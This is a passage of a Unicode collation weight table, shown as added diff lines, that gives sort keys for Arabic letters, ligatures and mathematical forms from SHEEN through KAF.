+FD2F  ; [.235A.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM
+FD39  ; [.235A.0020.0018][.232D.0020.0018] # ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM
+FD27  ; [.235A.0020.0019][.232D.0020.0019] # ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM
+FD0B  ; [.235A.0020.001A][.232D.0020.001A] # ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM
+FD29  ; [.235A.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SHEEN WITH REH FINAL FORM
+FD0D  ; [.235A.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM
+FD30  ; [.235A.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM
+FCE9  ; [.235A.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM
+FD28  ; [.235A.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM
+FD0C  ; [.235A.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM
+FD6B  ; [.235A.0020.0017][.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM
+FD6A  ; [.235A.0020.0019][.23A3.0020.0019][.232D.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM
+FD6D  ; [.235A.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM
+FD6C  ; [.235A.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM
+FD32  ; [.235A.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM
+FCEA  ; [.235A.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM
+FD19  ; [.235A.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM
+FCFD  ; [.235A.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM
+FD1A  ; [.235A.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH YEH FINAL FORM
+FCFE  ; [.235A.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM
+069A  ; [.235B.0020.0002] # ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE
+069B  ; [.235C.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW
+069C  ; [.235D.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE
+06FA  ; [.235E.0020.0002] # ARABIC LETTER SHEEN WITH DOT BELOW
+075C  ; [.235F.0020.0002] # ARABIC LETTER SEEN WITH FOUR DOTS ABOVE
+076D  ; [.2360.0020.0002] # ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE
+0770  ; [.2361.0020.0002] # ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS
+077D  ; [.2362.0020.0002] # ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE
+077E  ; [.2363.0020.0002] # ARABIC LETTER SEEN WITH INVERTED V
+0635  ; [.2364.0020.0002] # ARABIC LETTER SAD
+1EE11 ; [.2364.0020.0005] # ARABIC MATHEMATICAL SAD
+1EE31 ; [.2364.0020.0005] # ARABIC MATHEMATICAL INITIAL SAD
+1EE51 ; [.2364.0020.0005] # ARABIC MATHEMATICAL TAILED SAD
+1EE71 ; [.2364.0020.0005] # ARABIC MATHEMATICAL STRETCHED SAD
+1EE91 ; [.2364.0020.0005] # ARABIC MATHEMATICAL LOOPED SAD
+1EEB1 ; [.2364.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SAD
+FEBB  ; [.2364.0020.0017] # ARABIC LETTER SAD INITIAL FORM
+FEBC  ; [.2364.0020.0018] # ARABIC LETTER SAD MEDIAL FORM
+FEBA  ; [.2364.0020.0019] # ARABIC LETTER SAD FINAL FORM
+FEB9  ; [.2364.0020.001A] # ARABIC LETTER SAD ISOLATED FORM
+FCB1  ; [.2364.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SAD WITH HAH INITIAL FORM
+FC20  ; [.2364.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SAD WITH HAH ISOLATED FORM
+FD65  ; [.2364.0020.0017][.232C.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM
+FD64  ; [.2364.0020.0019][.232C.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM
+FDA9  ; [.2364.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM
+FCB2  ; [.2364.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SAD WITH KHAH INITIAL FORM
+FD2B  ; [.2364.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SAD WITH REH FINAL FORM
+FD0F  ; [.2364.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SAD WITH REH ISOLATED FORM
+FDF5  ; [.2364.0020.001A][.239C.0020.001A][.236E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SALAM ISOLATED FORM
+FDF9  ; [.2364.0020.001A][.239C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SALLA ISOLATED FORM
+FDFA  ; [.2364.0020.001A][.239C.0020.001A][.23C5.0020.001A][*0209.0020.001A][.230B.0020.001A][.239C.0020.001A][.239C.0020.001A][.23B1.0020.001A][*0209.0020.001A][.236E.0020.001A][.239C.0020.001A][.23C6.0020.001A][.23B1.0020.001A][*0209.0020.001A][.23B7.0020.001A][.2359.0020.001A][.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM
+FDF0  ; [.2364.0020.001A][.239C.0020.001A][.23D4.0020.001A] # ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
+FCB3  ; [.2364.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SAD WITH MEEM INITIAL FORM
+FC21  ; [.2364.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM
+FDC5  ; [.2364.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM
+FD66  ; [.2364.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM
+FD21  ; [.2364.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM
+FD05  ; [.2364.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM
+FD22  ; [.2364.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SAD WITH YEH FINAL FORM
+FD06  ; [.2364.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SAD WITH YEH ISOLATED FORM
+0636  ; [.2365.0020.0002] # ARABIC LETTER DAD
+1EE19 ; [.2365.0020.0005] # ARABIC MATHEMATICAL DAD
+1EE39 ; [.2365.0020.0005] # ARABIC MATHEMATICAL INITIAL DAD
+1EE59 ; [.2365.0020.0005] # ARABIC MATHEMATICAL TAILED DAD
+1EE79 ; [.2365.0020.0005] # ARABIC MATHEMATICAL STRETCHED DAD
+1EE99 ; [.2365.0020.0005] # ARABIC MATHEMATICAL LOOPED DAD
+1EEB9 ; [.2365.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAD
+FEBF  ; [.2365.0020.0017] # ARABIC LETTER DAD INITIAL FORM
+FEC0  ; [.2365.0020.0018] # ARABIC LETTER DAD MEDIAL FORM
+FEBE  ; [.2365.0020.0019] # ARABIC LETTER DAD FINAL FORM
+FEBD  ; [.2365.0020.001A] # ARABIC LETTER DAD ISOLATED FORM
+FCB4  ; [.2365.0020.0017][.2325.0020.0017] # ARABIC LIGATURE DAD WITH JEEM INITIAL FORM
+FC22  ; [.2365.0020.001A][.2325.0020.001A] # ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM
+FCB5  ; [.2365.0020.0017][.232C.0020.0017] # ARABIC LIGATURE DAD WITH HAH INITIAL FORM
+FC23  ; [.2365.0020.001A][.232C.0020.001A] # ARABIC LIGATURE DAD WITH HAH ISOLATED FORM
+FD6E  ; [.2365.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM
+FDAB  ; [.2365.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM
+FCB6  ; [.2365.0020.0017][.232D.0020.0017] # ARABIC LIGATURE DAD WITH KHAH INITIAL FORM
+FC24  ; [.2365.0020.001A][.232D.0020.001A] # ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM
+FD70  ; [.2365.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM
+FD6F  ; [.2365.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM
+FD2C  ; [.2365.0020.0019][.2346.0020.0019] # ARABIC LIGATURE DAD WITH REH FINAL FORM
+FD10  ; [.2365.0020.001A][.2346.0020.001A] # ARABIC LIGATURE DAD WITH REH ISOLATED FORM
+FCB7  ; [.2365.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE DAD WITH MEEM INITIAL FORM
+FC25  ; [.2365.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM
+FD23  ; [.2365.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM
+FD07  ; [.2365.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM
+FD24  ; [.2365.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE DAD WITH YEH FINAL FORM
+FD08  ; [.2365.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE DAD WITH YEH ISOLATED FORM
+069D  ; [.2366.0020.0002] # ARABIC LETTER SAD WITH TWO DOTS BELOW
+08AF  ; [.2367.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS BELOW
+069E  ; [.2368.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS ABOVE
+06FB  ; [.2369.0020.0002] # ARABIC LETTER DAD WITH DOT BELOW
+0637  ; [.236A.0020.0002] # ARABIC LETTER TAH
+1EE08 ; [.236A.0020.0005] # ARABIC MATHEMATICAL TAH
+1EE68 ; [.236A.0020.0005] # ARABIC MATHEMATICAL STRETCHED TAH
+1EE88 ; [.236A.0020.0005] # ARABIC MATHEMATICAL LOOPED TAH
+1EEA8 ; [.236A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TAH
+FEC3  ; [.236A.0020.0017] # ARABIC LETTER TAH INITIAL FORM
+FEC4  ; [.236A.0020.0018] # ARABIC LETTER TAH MEDIAL FORM
+FEC2  ; [.236A.0020.0019] # ARABIC LETTER TAH FINAL FORM
+FEC1  ; [.236A.0020.001A] # ARABIC LETTER TAH ISOLATED FORM
+FCB8  ; [.236A.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TAH WITH HAH INITIAL FORM
+FC26  ; [.236A.0020.001A][.232C.0020.001A] # ARABIC LIGATURE TAH WITH HAH ISOLATED FORM
+FD33  ; [.236A.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TAH WITH MEEM INITIAL FORM
+FD3A  ; [.236A.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM
+FC27  ; [.236A.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM
+FD72  ; [.236A.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM
+FD71  ; [.236A.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM
+FD73  ; [.236A.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM
+FD74  ; [.236A.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM
+FD11  ; [.236A.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM
+FCF5  ; [.236A.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM
+FD12  ; [.236A.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TAH WITH YEH FINAL FORM
+FCF6  ; [.236A.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE TAH WITH YEH ISOLATED FORM
+0638  ; [.236B.0020.0002] # ARABIC LETTER ZAH
+1EE1A ; [.236B.0020.0005] # ARABIC MATHEMATICAL ZAH
+1EE7A ; [.236B.0020.0005] # ARABIC MATHEMATICAL STRETCHED ZAH
+1EE9A ; [.236B.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAH
+1EEBA ; [.236B.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAH
+FEC7  ; [.236B.0020.0017] # ARABIC LETTER ZAH INITIAL FORM
+FEC8  ; [.236B.0020.0018] # ARABIC LETTER ZAH MEDIAL FORM
+FEC6  ; [.236B.0020.0019] # ARABIC LETTER ZAH FINAL FORM
+FEC5  ; [.236B.0020.001A] # ARABIC LETTER ZAH ISOLATED FORM
+FCB9  ; [.236B.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM
+FD3B  ; [.236B.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM
+FC28  ; [.236B.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM
+069F  ; [.236C.0020.0002] # ARABIC LETTER TAH WITH THREE DOTS ABOVE
+08A3  ; [.236D.0020.0002] # ARABIC LETTER TAH WITH TWO DOTS ABOVE
+0639  ; [.236E.0020.0002] # ARABIC LETTER AIN
+1EE0F ; [.236E.0020.0005] # ARABIC MATHEMATICAL AIN
+1EE2F ; [.236E.0020.0005] # ARABIC MATHEMATICAL INITIAL AIN
+1EE4F ; [.236E.0020.0005] # ARABIC MATHEMATICAL TAILED AIN
+1EE6F ; [.236E.0020.0005] # ARABIC MATHEMATICAL STRETCHED AIN
+1EE8F ; [.236E.0020.0005] # ARABIC MATHEMATICAL LOOPED AIN
+1EEAF ; [.236E.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK AIN
+FECB  ; [.236E.0020.0017] # ARABIC LETTER AIN INITIAL FORM
+FECC  ; [.236E.0020.0018] # ARABIC LETTER AIN MEDIAL FORM
+FECA  ; [.236E.0020.0019] # ARABIC LETTER AIN FINAL FORM
+FEC9  ; [.236E.0020.001A] # ARABIC LETTER AIN ISOLATED FORM
+FCBA  ; [.236E.0020.0017][.2325.0020.0017] # ARABIC LIGATURE AIN WITH JEEM INITIAL FORM
+FC29  ; [.236E.0020.001A][.2325.0020.001A] # ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM
+FDC4  ; [.236E.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM
+FD75  ; [.236E.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM
+FDF7  ; [.236E.0020.001A][.239C.0020.001A][.23C6.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE ALAYHE ISOLATED FORM
+FCBB  ; [.236E.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH MEEM INITIAL FORM
+FC2A  ; [.236E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM
+FD77  ; [.236E.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM
+FD76  ; [.236E.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM
+FD78  ; [.236E.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FDB6  ; [.236E.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM
+FD13  ; [.236E.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM
+FCF7  ; [.236E.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM
+FD14  ; [.236E.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE AIN WITH YEH FINAL FORM
+FCF8  ; [.236E.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE AIN WITH YEH ISOLATED FORM
+063A  ; [.236F.0020.0002] # ARABIC LETTER GHAIN
+1EE1B ; [.236F.0020.0005] # ARABIC MATHEMATICAL GHAIN
+1EE3B ; [.236F.0020.0005] # ARABIC MATHEMATICAL INITIAL GHAIN
+1EE5B ; [.236F.0020.0005] # ARABIC MATHEMATICAL TAILED GHAIN
+1EE7B ; [.236F.0020.0005] # ARABIC MATHEMATICAL STRETCHED GHAIN
+1EE9B ; [.236F.0020.0005] # ARABIC MATHEMATICAL LOOPED GHAIN
+1EEBB ; [.236F.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
+FECF  ; [.236F.0020.0017] # ARABIC LETTER GHAIN INITIAL FORM
+FED0  ; [.236F.0020.0018] # ARABIC LETTER GHAIN MEDIAL FORM
+FECE  ; [.236F.0020.0019] # ARABIC LETTER GHAIN FINAL FORM
+FECD  ; [.236F.0020.001A] # ARABIC LETTER GHAIN ISOLATED FORM
+FCBC  ; [.236F.0020.0017][.2325.0020.0017] # ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM
+FC2B  ; [.236F.0020.001A][.2325.0020.001A] # ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM
+FCBD  ; [.236F.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM
+FC2C  ; [.236F.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM
+FD79  ; [.236F.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM
+FD7B  ; [.236F.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FD7A  ; [.236F.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM
+FD15  ; [.236F.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM
+FCF9  ; [.236F.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM
+FD16  ; [.236F.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE GHAIN WITH YEH FINAL FORM
+FCFA  ; [.236F.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM
+06A0  ; [.2370.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS ABOVE
+06FC  ; [.2371.0020.0002] # ARABIC LETTER GHAIN WITH DOT BELOW
+075D  ; [.2372.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS ABOVE
+075E  ; [.2373.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE
+075F  ; [.2374.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE
+08B3  ; [.2375.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS BELOW
+0641  ; [.2376.0020.0002] # ARABIC LETTER FEH
+1EE10 ; [.2376.0020.0005] # ARABIC MATHEMATICAL FEH
+1EE30 ; [.2376.0020.0005] # ARABIC MATHEMATICAL INITIAL FEH
+1EE70 ; [.2376.0020.0005] # ARABIC MATHEMATICAL STRETCHED FEH
+1EE90 ; [.2376.0020.0005] # ARABIC MATHEMATICAL LOOPED FEH
+1EEB0 ; [.2376.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK FEH
+FED3  ; [.2376.0020.0017] # ARABIC LETTER FEH INITIAL FORM
+FED4  ; [.2376.0020.0018] # ARABIC LETTER FEH MEDIAL FORM
+FED2  ; [.2376.0020.0019] # ARABIC LETTER FEH FINAL FORM
+FED1  ; [.2376.0020.001A] # ARABIC LETTER FEH ISOLATED FORM
+FCBE  ; [.2376.0020.0017][.2325.0020.0017] # ARABIC LIGATURE FEH WITH JEEM INITIAL FORM
+FC2D  ; [.2376.0020.001A][.2325.0020.001A] # ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM
+FCBF  ; [.2376.0020.0017][.232C.0020.0017] # ARABIC LIGATURE FEH WITH HAH INITIAL FORM
+FC2E  ; [.2376.0020.001A][.232C.0020.001A] # ARABIC LIGATURE FEH WITH HAH ISOLATED FORM
+FCC0  ; [.2376.0020.0017][.232D.0020.0017] # ARABIC LIGATURE FEH WITH KHAH INITIAL FORM
+FC2F  ; [.2376.0020.001A][.232D.0020.001A] # ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM
+FD7D  ; [.2376.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM
+FD7C  ; [.2376.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM
+FCC1  ; [.2376.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE FEH WITH MEEM INITIAL FORM
+FC30  ; [.2376.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM
+FDC1  ; [.2376.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM
+FC7C  ; [.2376.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM
+FC31  ; [.2376.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM
+FC7D  ; [.2376.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE FEH WITH YEH FINAL FORM
+FC32  ; [.2376.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE FEH WITH YEH ISOLATED FORM
+06A1  ; [.2377.0020.0002] # ARABIC LETTER DOTLESS FEH
+1EE1E ; [.2377.0020.0005] # ARABIC MATHEMATICAL DOTLESS FEH
+1EE7E ; [.2377.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS FEH
+06A2  ; [.2378.0020.0002] # ARABIC LETTER FEH WITH DOT MOVED BELOW
+08BB  ; [.2379.0020.0002] # ARABIC LETTER AFRICAN FEH
+06A3  ; [.237A.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW
+06A4  ; [.237B.0020.0002] # ARABIC LETTER VEH
+FB6C  ; [.237B.0020.0017] # ARABIC LETTER VEH INITIAL FORM
+FB6D  ; [.237B.0020.0018] # ARABIC LETTER VEH MEDIAL FORM
+FB6B  ; [.237B.0020.0019] # ARABIC LETTER VEH FINAL FORM
+FB6A  ; [.237B.0020.001A] # ARABIC LETTER VEH ISOLATED FORM
+08A4  ; [.237C.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE
+06A5  ; [.237D.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS BELOW
+06A6  ; [.237E.0020.0002] # ARABIC LETTER PEHEH
+FB70  ; [.237E.0020.0017] # ARABIC LETTER PEHEH INITIAL FORM
+FB71  ; [.237E.0020.0018] # ARABIC LETTER PEHEH MEDIAL FORM
+FB6F  ; [.237E.0020.0019] # ARABIC LETTER PEHEH FINAL FORM
+FB6E  ; [.237E.0020.001A] # ARABIC LETTER PEHEH ISOLATED FORM
+0760  ; [.237F.0020.0002] # ARABIC LETTER FEH WITH TWO DOTS BELOW
+0761  ; [.2380.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW
+066F  ; [.2381.0020.0002] # ARABIC LETTER DOTLESS QAF
+1EE1F ; [.2381.0020.0005] # ARABIC MATHEMATICAL DOTLESS QAF
+1EE5F ; [.2381.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS QAF
+0642  ; [.2382.0020.0002] # ARABIC LETTER QAF
+1EE12 ; [.2382.0020.0005] # ARABIC MATHEMATICAL QAF
+1EE32 ; [.2382.0020.0005] # ARABIC MATHEMATICAL INITIAL QAF
+1EE52 ; [.2382.0020.0005] # ARABIC MATHEMATICAL TAILED QAF
+1EE72 ; [.2382.0020.0005] # ARABIC MATHEMATICAL STRETCHED QAF
+1EE92 ; [.2382.0020.0005] # ARABIC MATHEMATICAL LOOPED QAF
+1EEB2 ; [.2382.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK QAF
+FED7  ; [.2382.0020.0017] # ARABIC LETTER QAF INITIAL FORM
+FED8  ; [.2382.0020.0018] # ARABIC LETTER QAF MEDIAL FORM
+FED6  ; [.2382.0020.0019] # ARABIC LETTER QAF FINAL FORM
+FED5  ; [.2382.0020.001A] # ARABIC LETTER QAF ISOLATED FORM
+FCC2  ; [.2382.0020.0017][.232C.0020.0017] # ARABIC LIGATURE QAF WITH HAH INITIAL FORM
+FC33  ; [.2382.0020.001A][.232C.0020.001A] # ARABIC LIGATURE QAF WITH HAH ISOLATED FORM
+FDF1  ; [.2382.0020.001A][.239C.0020.001A][.23D4.0020.001A] # ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM
+FCC3  ; [.2382.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE QAF WITH MEEM INITIAL FORM
+FC34  ; [.2382.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM
+FDB4  ; [.2382.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM
+FD7E  ; [.2382.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM
+FD7F  ; [.2382.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM
+FDB2  ; [.2382.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM
+FC7E  ; [.2382.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM
+FC35  ; [.2382.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM
+FC7F  ; [.2382.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE QAF WITH YEH FINAL FORM
+FC36  ; [.2382.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE QAF WITH YEH ISOLATED FORM
+06A7  ; [.2383.0020.0002] # ARABIC LETTER QAF WITH DOT ABOVE
+08BC  ; [.2384.0020.0002] # ARABIC LETTER AFRICAN QAF
+06A8  ; [.2385.0020.0002] # ARABIC LETTER QAF WITH THREE DOTS ABOVE
+08A5  ; [.2386.0020.0002] # ARABIC LETTER QAF WITH DOT BELOW
+0643  ; [.2387.0020.0002] # ARABIC LETTER KAF
+1EE0A ; [.2387.0020.0005] # ARABIC MATHEMATICAL KAF
+1EE2A ; [.2387.0020.0005] # ARABIC MATHEMATICAL INITIAL KAF
+1EE6A ; [.2387.0020.0005] # ARABIC MATHEMATICAL STRETCHED KAF
+FEDB  ; [.2387.0020.0017] # ARABIC LETTER KAF INITIAL FORM
+FEDC  ; [.2387.0020.0018] # ARABIC LETTER KAF MEDIAL FORM
+FEDA  ; [.2387.0020.0019] # ARABIC LETTER KAF FINAL FORM
+FED9  ; [.2387.0020.001A] # ARABIC LETTER KAF ISOLATED FORM
+FC80  ; [.2387.0020.0019][.230B.0020.0019] # ARABIC LIGATURE KAF WITH ALEF FINAL FORM
+FC37  ; [.2387.0020.001A][.230B.0020.001A] # ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM
+FCC4  ; [.2387.0020.0017][.2325.0020.0017] # ARABIC LIGATURE KAF WITH JEEM INITIAL FORM
+FC38  ; [.2387.0020.001A][.2325.0020.001A] # ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM
+FCC5  ; [.2387.0020.0017][.232C.0020.0017] # ARABIC LIGATURE KAF WITH HAH INITIAL FORM
+FC39  ; [.2387.0020.001A][.232C.0020.001A] # ARABIC LIGATURE KAF WITH HAH ISOLATED FORM
